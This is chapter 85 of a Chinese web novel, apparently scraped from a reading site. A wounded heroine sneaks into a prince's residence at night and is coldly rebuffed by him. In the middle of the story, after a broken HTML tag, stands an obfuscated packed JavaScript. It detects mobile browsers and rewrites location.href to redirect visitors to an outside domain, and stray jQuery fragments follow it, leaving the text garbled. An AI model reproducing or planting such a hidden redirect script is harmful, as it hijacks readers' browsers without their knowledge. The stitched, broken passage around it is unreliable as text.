85. 亲自去寻 路边野狗

作品:《听说世子妃是个伪娘

    京城的夏日来的格外快,云秀阁房门上原本厚重的门帘子此时换成了碧色的纱帘,隔着薄纱也能感到独属于夏日的暖风不断透进来,从门缝便能看到窗外已然翠绿的海棠花树伴风摇动。


    这几日聂千屿的伤口正在慢慢结痂,加上天气日益热起来,她身上的伤口变得奇痒无比,有时候会忍不住用手指轻挠一挠伤口的边缘,因而现在那边缘已经尽是她抓挠过的红痕。


    这半个月都无法出门,因而她让小白为她买了一些兵书,闲来无事便在坐在榻上翻看。


    自那日小白传递消息后,聂千屿就这样足足等了半月,平南王府那边依旧杳无音讯,但在今日却从许安口中听到了一个她不愿听见的消息。


    去年北境出事后,夜燕便开始频繁扰乱边境,以往都是些小打小闹,而在五月初发生了这么一件事,今晨卫凌发急报回京,称夜燕唆使其附属小国丽音国在离河上游投毒,致使大周云南边境抵御丽音国的一个隘口小城内数万军民中毒。


    卫凌先行紧急派遣了两千南骑卫前去镇守,但这件事背后怕是没那么简单。


    云南边境目前镇守的只有卫凌一员大将,若夜燕与丽音国联手趁此机会举兵进犯,卫凌难免分身乏术顾此失彼,于是今晨早朝陛下当即下令命慕潇明日动身回云南,以主持大局。


    据她所知,夜燕对大周的态度向来分为两派,为主战派与主和派。七年前平南王兵临城下,颇有势不可挡之态势,夜燕其实也别无选择,再加上主和派齐度王子夺得皇位,夜燕政权也乐于此事能成,于是最后便签订了归顺协议,自那之后夜燕成了归顺大周的附属国之一。


    但为何他们突然反悔,难不成是因为我方北境失守,让他们觉得有可乘之机生了反意?


    分析当今局势,现下大周四面受敌,北境大梁虽暂未进犯,但不可不防,南边夜燕此时又出问题。京内势力也错综复杂,或许还有奸细在朝,此时若处理不好,或可给大周带来大祸患。


    她此刻半倚在床边,手指磋磨着一页纸,半晌也未见翻一页,她脑中思绪不停,稍许拉过小白低声问道:“小白,你确定将那信件送到了福子手中?”


    “小姐,我见过福大人,那日我亲自给了他,定然无错。”


    聂千屿的心再次沉到了谷底,那便是他不想来了。


    现下朝内的内奸还未揪出来,南北边境又出乱子,慕潇也受命马上就要回云南,在这个节骨眼,偏偏杜怀青的那封信又出现了,如若慕潇不协助她救出内奸,终究是个隐患。


    她心里一直隐隐不安,这几日身体已经大好,日常小幅度的活动,伤口已经疼的没那么厉害。她垂眸看向自己的伤,思忖片刻拿定了主意,不能再继续坐等了,既然他不来,那她便亲自去寻!


    深夜,待云秀阁院子里的丫鬟婆子睡下后,聂千屿从床底翻出放了很久的夜行衣,穿好后,又裹好面巾,于云秀阁海棠树旁的墙根下,足尖轻轻一点便出了府门,随后伴着暗月在房顶上穿梭,直直往平南王府去了。


    一路上她为免扯到伤口,尽可能地放缓动作,她不知自己这番活动会不会导致伤口再次裂开,但当下多事之秋,她也顾不得许多了,绝不能放任慕潇对北境王的误会,她必须亲自去问清楚。


    平南王府很大,如若不是慕潇书房前的那颗梨树繁茂高大,远远一眼便能看到,聂千屿都不一定寻得到他的书房。


    平南王府的守卫在京内数一数二的牢靠森严,因而福子冷不丁看到聂千屿从他头上乍然跳下出现在他眼前时,他一度震惊到失语。


    “你!你怎么来的?”


    聂千屿指了指来时的路,轻飘飘说道:“从那来的。”


    “他们都没看见你?”


    “没有啊!怎么了?”聂千屿不以为意。


    这不以为意更让福子扎心,他都没这个本事。


    “哦,对了,这颗梨树太显眼,隔老远一眼便能看到,你家世子书房的位置实在不怎么好啊,要是来个刺客可怎么好!”聂千屿垂眸拍了拍手上的土,淡淡道。


    福子踮起脚上下看了看,暗道,以往来的刺客连靠近这可梨树的机会都没有,刚入平南王府大门便被宰了!


    “他呢?”聂千屿问道。


    “世子已经睡下了!许小姐请回吧!”福子收回适才的惊讶,挂上了一副冷漠相,语气也冷了不少。


    慕潇书房内灯分明还未灭,那窗户发出的光亮的人眼疼,而烛火映着少年人的影子辉映于窗纸上,这哪里是睡了?


    这般明晃晃的敷衍让聂千屿有些无奈,看来慕潇是不想见她了。


    她放低姿态,好声好气商量道:“福子,我找你家世子有要事商议,烦请你去通报。”


    福子挡在她身前未动半寸,一副公事公办的样子:“许小姐,近日世子有要事要处理,已经说过任何人不能打扰!”


    “是云南的事吧!”聂千屿吐了口气问道:“我知道一件事或许可以化解云南的困境,你让我去见他。”


    福子依旧未动,是铁了心要将她拦在外面:“世子亲口吩咐,今夜若许小姐来,无论说什么都一概不听一概不见!”


    聂千屿视线回到那窗纸上的人影上,勾唇冷哼了一声:“那你说的要事便是北境王府的事儿了?正好关于此事我也有些话要与慕世子细谈,烦你去通报!”


    “那我再说一次!世子说任何人都不见,尤其是你!”福子板着脸语气沉沉。


    聂千屿简直要气笑了,如果两人之间的关系能如此轻易就被挑拨,那他们之间过往的一切都是个笑话,她抬高了声音,她知道慕潇肯定能听到,只是故意装作不闻而已:“慕潇,你出来,我有话对你说!”


    “世子真的在忙,你别喊了!”福子赶紧上前阻止道。


    她却没理会,继续喊道:“慕潇你出来!我们把话说清楚!”


    福子有些头疼,慌乱之下一手将身前呼喊的聂千屿推开,这一推恰好碰到了她受伤的手臂,疼的她猛地倒吸了一口凉气。


    福子忙道歉:“我不是有意碰到你的伤口,但世子吩咐我难以违抗,请别让我为难!”


    话音刚落,响起了吱呀的开门声,廊前出现了一欣长的人影,聂千屿赶紧抬头,门前黑衣少年半散着长发亭亭而立,俊俏面容上那双好看的眸子此刻清冷无比,正毫无感情地盯着她。


    多日不见,与自己的遍身疤痕不同,他依旧俊逸秀雅,皎如天上月。就如同当初在沧洲城的初次见面,他坐于骏马之上尊贵荣耀,而她蜷缩在雪地中破烂不堪。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246757|178285||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    聂千屿一手还扶着疼痛的胳膊,静静地看着门前站着的慕潇,眼睫眨了眨:“你终于肯出来了?”


    少年人眸光幽寒,看着她恍若看着一个陌生人,稍许少年人沉声道:“许小姐,来此有何贵干?”


    聂千屿正欲开口作答,又见少年人自嘲一笑,随后转了语气:“说起来,我竟还不知道你真名叫什么。”


    如此拒人于千里之外的态度,让聂千屿有一种错觉,过往所发生的一切都是假的,一夕之间,他们又回到了最初的时候,两人之间只有那股令人胆寒的审视。


    “你什么意思?”聂千屿嘴边的话顿住,眼睛也有点发酸。


    慕潇转头朝福子示意了一下:“福子,你先退下。”


    福子视线回转,但一动未动,有些不情愿,他斟酌了一下说道:“世子,为防一些别有用心之人对您不利,我还是留在此处陪您。”


    这个别有用心说的是谁,聂千屿心如明镜,她眉头蹙起,也不再客气:“有些话说的不必拐弯抹角,我到底是不是别有用心之人,天地皆知,如若你家世子不知,待会我会亲自说与他听!”


    原本有些踟蹰,想给她留些颜面,没想到脸皮如此之厚,福子转身,不再收着,开口怒斥:“你这个奸细在京城混迹这么久,不就是为了替聂寒那贼子报仇?世子前些日子被你的谗言蒙蔽,还差点被你这等宵小之徒利用!只可惜青叔回来了!你的阴谋不攻自破!可惜你的算盘注定要落空了!”


    这些话也就差指着她鼻子骂了,聂千屿脸色也肉眼可见的耷拉下来,她哑着声线问慕潇:“你也是这么想的?”


    慕潇并未回答,只是再次朝福子吩咐道:“福子今夜你话太多了,自请去领罚!”


    “可是世子。”福子不愿走,但对上慕潇发寒的目光,他不敢再抵抗,只得退下了,离开前又恨恨地瞪了聂千屿一眼。


    现下只有他们二人独自在这院中。


    平南王府邸异常干净,聂千屿脚下的青石板一尘不染,道路两侧均有烛火辉映,寒光从天泻下,他们二人一人立于烛火边,一人站在月光下,就像此刻他们二人,阴晴暖寒之别。


    聂千屿眼睛一动未动,始终关注着慕潇的神情,多日不见,他眉宇间夹杂了些许陌生,俊朗的面容多了几分最初认识他时候的冷冽,仿若先前与他相处时无意流露出来的温柔都是假的。


    冷才是他本来的面貌,就像一块永远捂不热的冰块。


    所以,他们之间的信任因为一封信而土崩瓦解了吗?


    “你今天来想说什么?”


    “我想说什么,世子难道不知道么?”聂千屿反问。


    “许小姐说笑了,我与你又不熟,怎么可能知道你想说什么?”


    不熟?


    聂千屿放下原本捂着伤口的手,露出被血泅湿的衣襟,她垂头笑得有些讽刺:“好一个不熟,既然不熟,那我且问你为什么要救我?还让魏济悬亲自去许府照看我?”


    慕潇转了转拇指上的琥珀扳指,冷呵一声:“随手而已,就像某天我突然发了好心随手扔了个啃剩的骨头给路边的野狗一样,你与它与之别无二致!”


    他逼近了,凑到她耳边,语调拉长道:“难道许小姐很喜欢我施舍给你的骨头?”